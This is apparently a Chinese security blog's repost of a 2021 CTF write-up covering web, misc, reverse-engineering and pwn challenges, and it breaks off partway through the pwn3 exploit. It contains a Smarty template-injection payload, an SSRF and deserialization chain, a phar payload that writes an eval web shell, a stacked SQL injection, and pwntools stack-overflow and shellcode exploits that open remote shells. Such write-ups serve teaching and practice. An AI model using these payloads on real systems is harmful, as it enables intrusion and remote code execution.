专栏名称: TimelineSec
安全圈必备公众号之一!专注于最新漏洞复现!内含漏洞时间线工具靶场等干货!记录每一个漏洞,捕捉安全的每一瞬间!
目录
相关文章推荐
数据派THU  ·  【ICLR2025】CUBEDIFF:将基于 ... ·  昨天  
数据派THU  ·  提升数据科学工作流效率的10个Jupyter ... ·  2 天前  
高工智能汽车  ·  连亏两年,经纬恒润“压力”不减 ·  昨天  
国家数据局  ·  2024年“数据要素×”大赛优秀项目案例集— ... ·  18 小时前  
大数据与机器学习文摘  ·  突发!o3-mini ... ·  3 天前  
51好读  ›  专栏  ›  TimelineSec

​第一届四叶草网络安全学院牛年CTF大赛部分WriteUp

TimelineSec  · 公众号  ·  · 2021-02-28 09:30

正文



第一届四叶草网络安全学院牛年
CTF大赛

Web

GET

考点

  • smarty模板注入

思路

根据提示输入GET参数得到源码.发现为smarty模板注入

payload: ?name={if passthru ('nl fl*')}{/if}


Website

考点

  • ssrf中使用302跳转进行bypass

思路

一开始尝试dict、file、gopher等协议,发现都被禁用了

但是可以访问其他主机,就想到用302跳转去bypass

在vps上开个web服务,内容如下


再用题目访问vps,可以看到是成功访问的



接着去读取apache的配置文件


在最后面可以看到有两个web服务,监听了80和8080



分别读取源码

80: web1/index.php

error_reporting(0);function check_302($url){    $ch = curl_init($url);    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); // 302 redirect    curl_exec($ch);    $info = curl_getinfo($ch);    curl_close($ch);    return $info['url'];}
if (isset($_GET['url'])) { $url = $_GET['url']; if (strpos($url, 'http://127.0.0.1/') === 0 || strpos($url, 'http://localhost/') === 0) { exit(" }
if (!preg_match('/^(http|https):\/\/[_a-zA-Z0-9-]+(.[_a-zA-Z0-9-]+)*/i', $url)) { exit(""); }
$url = check_302($url); echo $url; $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); $result = curl_exec($ch); curl_close($ch);
echo "" . $result . "";} else { echo "Hello";}
?>


8080: web2/index.php

class copy_file{    public $path = 'upload/';    public $file;    public $url;    function __destruct(){        if(strpos($this - url,'http://127.0.0.1') === 0){            file_put_contents($this -> path.$this -> file, file_get_contents($this -> url));            echo $this -> path.$this -> file." update successed!)";        }else{            echo "Hello CTFer";        }    }}
if(isset($_GET['data'])){ $data = $_GET['data']; unserialize($data);}else{ echo "Welcome to CloverSec WebSite";}?>


然后就是反序列化了,在vps上写好代码


用下面的序列化
class copy_file{    public $path='upload/';    public $file='1.php';    public $url='http://[email protected]:20003/1.txt';
}$a = new copy_file();echo serialize($a);


按照如下方式传参,上传代码

http://[email protected]:8080/?data=O:9:"copy_file":3:{s:4:"path";s:7:"upload/";s:4:"file";s:5:"1.php";s:3:"url";s:41:"http://[email protected]:20003/1.txt";}



再去访问即可看到结果

http://127.0.0.1:8080/upload/1.php

file manager

考点
  • phar伪协议

思路

题目有四个功能,分别是文件上传,创建文件,删除文件和列举目录

经过一番尝试,发现文件上传只能上传图片,但是看到删除文件的功能,就想到unlink函数可以触发phar,并且code.html给了类

那就生成phar改一下名字,再用phar伪协议触发即可

由于文件上传的代码不允许php存在上传文件中,就用=绕过即可

class game{    public $file_name="shell.php";    public $content = "=eval($_POST['cmd']);?>";
}$a = new game();
$phar = new Phar('test.phar',0,'test.phar');$phar->startBuffering();$phar->setStub('GIF89a');

$phar->setMetadata($a);$phar->addFromString('text.txt','test');$phar->stopBuffering();


上传后在删除文件处,删除框内填phar://./sandbox/a.png即可触发反序列化

StAck3d 1nj3c

原题 [SUCTF 2019]EasySQL

select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag

★问卷调查

填完给flag


Misc


Here are three packages!

第一个压缩包:根据提示百度后,发现与月份有关,密码应该为数字,对压缩包进行爆破,得到密码:956931011

第二个压缩包:对字频进行统计,得到key:key{bgfi9JaFHhosw}
第三个压缩包:在tip3中存在零宽度字符隐写,解密得到密码:key->Zero-Width



white.txt是snow隐写,得到flag:flag{e3e1cd2fa790e0b35795ef3b2ab3992b}

牛气冲天

伪加密cattle.jpg以及zip
steghide解,脑洞密码就是文件名
获得密码,awd@$..120LP
解压zip,获得png,改高度



★LSP们冲啊

经典crc碰撞
import datetimeimport binasciiimport string def crack(crc_in):    crcs = set([crc_in])        r = string.printable    for a in r:        for b in r:            for c in r:                txt = a+b+c                crc = binascii.crc32(txt)                if (crc & 0xFFFFFFFF) in crcs:                    return txt

print crack(0xd878a99d)#0x07D3F356,0xd878a99d,0x4E25A843,0x6E16E99D,0x549248B9

获得密码:Zz!9(18Hb9e#>h8
解压后png进行lsb隐写即可



Reverse


RE1

拖入ida,在字符串窗口看到 "upx"字样,于是首先对它进行upx 脱壳

upx -d re1


将得到的elf程序拖入ida

__int64 __fastcall h4vefun(__int64 input_str){  __int64 v1; // rax  char v3; // [rsp+1Fh] [rbp-61h] BYREF  char v4[32]; // [rsp+20h] [rbp-60h] BYREF  char v5[40]; // [rsp+40h] [rbp-40h] BYREF  unsigned __int64 v6; // [rsp+68h] [rbp-18h]

v6 = __readfsqword(0x28u); std::allocator<char>::allocator(&v3); std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(v4, "hj4ppy new year", &v3); std::allocator<char>::~allocator(&v3); std::allocator<char>::allocator(&v3); std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(v5, "qaq", &v3); std::allocator<char>::~allocator(&v3); if ( (unsigned __int8)std::operator==<char,std::char_traits<char>,std::allocator<char>>( input_str, "hj4ppynewyear2021" ) ) { std::operator<<<std::char_traits<char>>(&std::cout, "ok.this is flag"); } else { v1 = std::operator<<<std::char_traits<char>>(&std::cout, &unk_40115A); std::ostream::operator::endl<char,std::char_traits<char>>);
} std ::__cxx11::basic_string< char , std ::char_traits< char >, std ::allocator< char >>::~basic_string(v5); std ::__cxx11::basic_string< char , std ::char_traits< char >, std ::allocator< char >>::~basic_string(v4); return 0L L; }


发现是c++程序,可以看到下面这一行关键代码,如果我们输入的字符串等于  "hj4ppynewyear2021",就成功了。它也是我们索要得到的flag

if ( (unsigned __int8)std::operator==<char,std::char_traits<char>,std::allocator<char>>(                          input_str,                          "hj4ppynewyear2021") 


验证一下:

$ ./re1 please input your flaghj4ppynewyear2021ok.this is flag


★RE2

这题是exe程序,拖入ida,查看main函数

int __cdecl main_0(int argc, const char **argv, const char **envp){  int v3; // eax  int v4; // eax

dword_42537C = 123400 * strlen(a1234567890) + 31415926; v3 = sub_4113BB(std::cout, "plz input your key"); std::basic_ostream<char,std::char_traits<char>>::operator< std::basic_istream<char,std::char_traits<char>>::operator>>(std::cin, &dword_425380); if ( dword_425380 == dword_42537C ) v4 = sub_4113BB(std::cout, "right"); else v4 = sub_4113BB(std::cout, "wrong"); std::basic_ostream<char,std::char_traits<char>>::operator< return 0;}


关键代码 :

if ( dword_425380 == dword_42537C )    v4 = sub_4113BB(std::cout, "right");


而dword_42537C在上面可以得到 是32649926

dword_42537C = 123400 * strlen(a1234567890) + 31415926;//a1234567890:"1234567890" 

所以 flag就是32649926


PWN


PWN1

ida:

int __cdecl main(int argc, const char **argv, const char **envp){  const char *v4; // [esp-20h] [ebp-20h]  __uid_t v5; // [esp-10h] [ebp-10h]  void *v6; // [esp-8h] [ebp-8h]

v6 = malloc(0x200u); bzero(v6, 4u); read(0, v6, 0x1F4u); v5 = geteuid(); setresuid(v5, v5, v5); printf("shell function = %p\n", shell); vuln((char *)v6, v4); //存在栈溢出漏洞 return 0;}--------------------------------------------------char *__cdecl vuln(char *a1, const char *a2) { int v3; // [esp-48h] [ebp-48h]

return strcpy((char *)&v3, a2);

思路:
直接栈溢出,返回地址覆盖成 后门地址即可。
exp:
from pwn import * context.log_level='debug' p=process('./pwn1') #p=remote("129.226.4.186",10000)elf=ELF('./pwn1') 

main_addr=0x080485AB#gdb.attach(p)p.sendline("a"*(0x48+0x4)+p32(0x0804856D))p.interactive()


★PWN2

ida:

int __cdecl main(int argc, const char **argv, const char **envp){  void *buf[2]; // [rsp+0h] [rbp-10h] BYREF

buf[1] = (void *)__readfsqword(0x28u); setvbuf(stdin, 0LL, 2, 0LL); setvbuf(_bss_start, 0LL, 2, 0LL); puts("welcome to Xian: "); read(0, BUF, 0x30uLL); puts("Dou you know the hzwz?"); scanf("%llu", buf); printf("Yes you know: "); read(0, buf[0], 8uLL); puts("Finish!"); printf("Good bye %s!\n", BUF); return 0;}


思路

这题开了canary保护,没有开NX保护。看第九行,我们向bss段的buf中输入0x30(这不刚好是shellcode 的长度吗,疯狂暗示。)

所以这题的就是往buf中写入一个shellcode,想办法去执行它。


怎么去执行呢?因为没有开pie保护,我们直接改printf_plt中值为buf的地址(shellcode所在的地方)即可,然后当执行到 printf("buybuy") 的时候  实际 就会跳转到 buf地址那里

exp:

from pwn import * context(arch='amd64', os='linux', log_level = 'DEBUG')#p=process('./pwn2') p=remote("129.226.4.186",10001)elf=ELF('./pwn2') 

shellcode=asm(shellcraft.sh())print len(shellcode)

p.recvuntil("welcome to Xian: \n")p.sendline(shellcode)
p.recvuntil("Dou you know the hzwz?\n")pd=str(0x601028)p.sendline(pd)
#gdb.attach(p)p.recvuntil("Yes you know: ")bss_buf=0x601080pd=p64(bss_buf)p.sendline(pd)

p.interactive()


pwn3

ida:

int __cdecl main(int argc, const char **argv, const char **envp){  char v4[16]; // [rsp+0h] [rbp-30h] BYREF  char buf[24]; // [rsp+10h] [rbp-20h] BYREF  _QWORD *v6; // [rsp+28h] [rbp-8h]

setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 2, 0LL); puts("happy new year!"); printf("plz input something: "); read(0, buf, 0x10uLL); v6 = (_QWORD *)strtoll(buf, 0LL, 16); printf("\nsomething: %lld\n", *v6); printf("Show me your code: "); read(0, v4, 0x90uLL);//栈溢出漏洞 return 0;}


思路

程序中有一个 strtoll函数,我们输入字符串首先转成16进制存入v6中然后在13行又进行了格式化输出。


这里我们可以用来leak libc,进而得到 system_addr,binsh_addr,因为是64位程序。


我们还需要用ropper去找一下 pop_rdi_ret的gadgets。最后利用栈溢出漏洞去getshell。

ropper --file ./pwn3 --search "pop|ret" | grep rdi
 

exp:

from pwn import * context.log_level='debug' p=process('./pwn3') p=remote("129.226.4.186",10002)elf=ELF('./pwn3') libc=elf.libc#ELF("/lib/x86_64-linux-gnu/libc.so.6 ")






请到「今天看啥」查看全文